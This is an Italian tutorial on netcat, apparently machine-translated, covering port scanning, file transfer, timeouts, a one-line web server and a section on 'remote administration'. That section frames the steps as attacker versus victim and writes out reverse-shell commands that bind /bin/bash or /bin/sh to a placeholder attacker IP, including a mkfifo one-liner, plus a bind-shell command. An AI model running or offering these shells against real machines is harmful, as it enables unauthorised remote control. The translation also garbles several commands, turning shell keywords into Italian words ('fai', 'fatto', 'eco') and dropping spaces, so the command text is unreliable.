Una breve differenza tra netcat-traditional e netcat-openbsd
Ci sono due pacchetti simili disponibili per netcat con una leggera differenza tra loro.
netcat-tradizionale include un'opzione '-e' aggiuntiva che può essere usata per associare un programma (i.e bash) con netcat. Questa funzione è molto utile per scopi di amministrazione remota.
netcat-openbsd avere un supporto aggiuntivo per IPv6 e proxy.
Installazione Netcatcat
Sebbene netcat sia preinstallato nella maggior parte delle distribuzioni Linux, ma in caso contrario, può essere installato facilmente utilizzando i seguenti comandi.
Per il pacchetto tradizionale,
[email protected]:~$ sudo apt-get install netcat-traditionalPer la versione openbsd,
[email protected]:~$ sudo apt-get install netcat-openbsdNetcat per Windows può essere scaricato da qui https://sourceforge.net/progetti/nc110/files/.
Ora esploreremo alcuni casi d'uso interessanti di netcat
Scansione delle porte con netcat
Per cercare porte aperte, usa l'opzione '-z'. Netcat proverà a connettersi a ogni porta senza inviare dati o dati molto limitati nel caso UDP. Digita quanto segue
[email protected]:~$ nc -z -v hackme.org 80…tagliare…
hackme.org [217.78.1.155] 80 (http) aperto
Per cercare un intervallo di porte, digitare
[e-mail protetta]:~$ nc -z -nv 192.168.100.72 20-80(SCONOSCIUTO) [192.168.100.72] 80 (http) aperto
(SCONOSCIUTO) [192.168.100.72] 22 (ssh) aperto
Trasferimento file con netcat
Un altro utile caso d'uso di netcat è il trasferimento di file tra computer remoti. Puoi inviare testi e file binari da un PC a un altro PC. Cercheremo di inviare un file “file.pdf” da PC Linux a PC Windows [IP 192.168.100.72] usando netcat come esempio.
Sulla macchina Windows (ricevitore), digitare quanto segue
C:\Utenti> nc -nvlp 1337 > file.PDFAscolto su [0.0.0.0] (famiglia 2, porta 1337)
Sulla macchina Linux (mittente), digitare quanto segue
[e-mail protetta]:~$ nc -nv 192.168.100.72 1337 < file.pdfCollegamento a 192.168.100.72 1337 porta [tcp/*] riuscita!
Amministrazione remota con netcat
Uno dei migliori casi d'uso di netcat è l'amministrazione remota, il che significa che puoi controllare il PC di qualcun altro usando netcat. Netcat-traditional viene fornito con l'opzione '-e' che può essere utilizzata per associare un programma (i.e cmd.exe in Windows o bash in Linux) con una porta, ciò significa che netcat fungerà da comunicatore tra il programma e il PC remoto. Netcat riceverà i comandi dal PC remoto, eseguirà sul sistema locale e invierà i risultati al PC remoto. Questa funzione è ampiamente utilizzata per scopi dannosi, per mantenere backdoor in PC e server. Questa funzione è disponibile solo in netcat-traditional ma con un piccolo trucco, netcat-openbsd può essere utilizzato per lo stesso scopo. Puoi usare due modi per controllare il PC di altri.
In un Guscio inverso connessione, un utente malintenzionato ascolta su una porta e attende l'invio di una connessione dalla macchina vittima. Viene utilizzato quando il computer vittima è dietro NAT o non ha IP pubblico.
Per ottenere una shell inversa usando netcat, devi ascoltare su una porta usando netcat. Digita quanto segue sulla macchina dell'attaccante,
[e-mail protetta]:~$ nc -nvlp 1337Ascolto su [0.0.0.0] (famiglia 2, porta 1337)
Sulla macchina vittima (se netcat-tradizionale è installato)
//sostituisci “/bin/bash” con “cmd.exe” in caso di Windows
[email protected]:~$ nc -nv [IP_ADDR] 1337 -e /bin/bashPer netcat-openbsd (dove l'opzione "-e" non è supportata)
[email protected]:~$ rm /tmp/f;mkfifo /tmp/f;cat/tmp/f|/bin/sh -i 2>&1|nc [IP_ADDR] 1337 >/tmp/f
mentre in a Lega Shell connessione, l'attaccante associa una porta sulla macchina vittima e si connette a quella porta utilizzando il socket client. Viene utilizzato quando la macchina dell'aggressore è dietro NAT o non ha un IP pubblico.
Sulla macchina vittima, digitare
[email protected]:~$ nc -nlvp 1337 -e /bin/bashascoltando su [qualsiasi] 1337…
Ora, per eseguire i comandi sulla macchina vittima, digita
[e-mail protetta]:~$ nc -nv 127.0.0.1 1337Collegamento a 127.0.0.1 1337 porta [tcp/*] riuscita!
ID $
uid=1000(azad) gid=1000(azad) gruppi=1000(azad),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),118(lpadmin),129(sambashare)
Server Web semplice che utilizza netcat
Puoi anche fare un altro semplice trucco per usare netcat come server web minimo a pagina singola. Questo server web sarebbe molto semplice senza configurazioni speciali e useremo per inviare il nostro codice HTML al browser.
[email protected]:~$ while true ; fai echo -e "HTTP/1.1 200 OK\n\n $(eco "
Il mio server Web semplice che utilizza netcat
")" | nc -nvlp 1337 ; fattoAscolto su [0.0.0.0] (famiglia 2, porta 1337)
Ora prova a recuperare la pagina web usando curl
[email protected]:~$ curl http://127.0.0.1:1337/Il mio server Web semplice che utilizza netcat
Specificare il timeout per una sessione netcat
Puoi specificare il timeout per una sessione netcat usando l'opzione "-w". Netcat disconnetterà automaticamente la sua sessione allo scadere del tempo specificato.
// -w [Tempo in secondi][email protetta]:~$ nc -w 40 -nvlp 1337
Ascolto su [0.0.0.0] (famiglia 2, porta 1234)
Continua ad ascoltare anche se il cliente chiude la connessione
In modalità normale, il server netcat si spegne e interrompe l'ascolto sulla porta quando un client chiude la connessione. Puoi mantenere attivo il server usando l'opzione "-k"
[e-mail protetta]:~$ nc -k -nlvp 1234Ascolto su [0.0.0.0] (famiglia 2, porta 1234)
Conclusione
Netcat è un'utilità semplice ma efficiente che può essere utilizzata per molte semplici attività quotidiane. Viene preinstallato in quasi tutti i sistemi operativi UNIX come e può essere utilizzato per varie attività come la comunicazione tra due PC, il trasferimento di file e molti altri.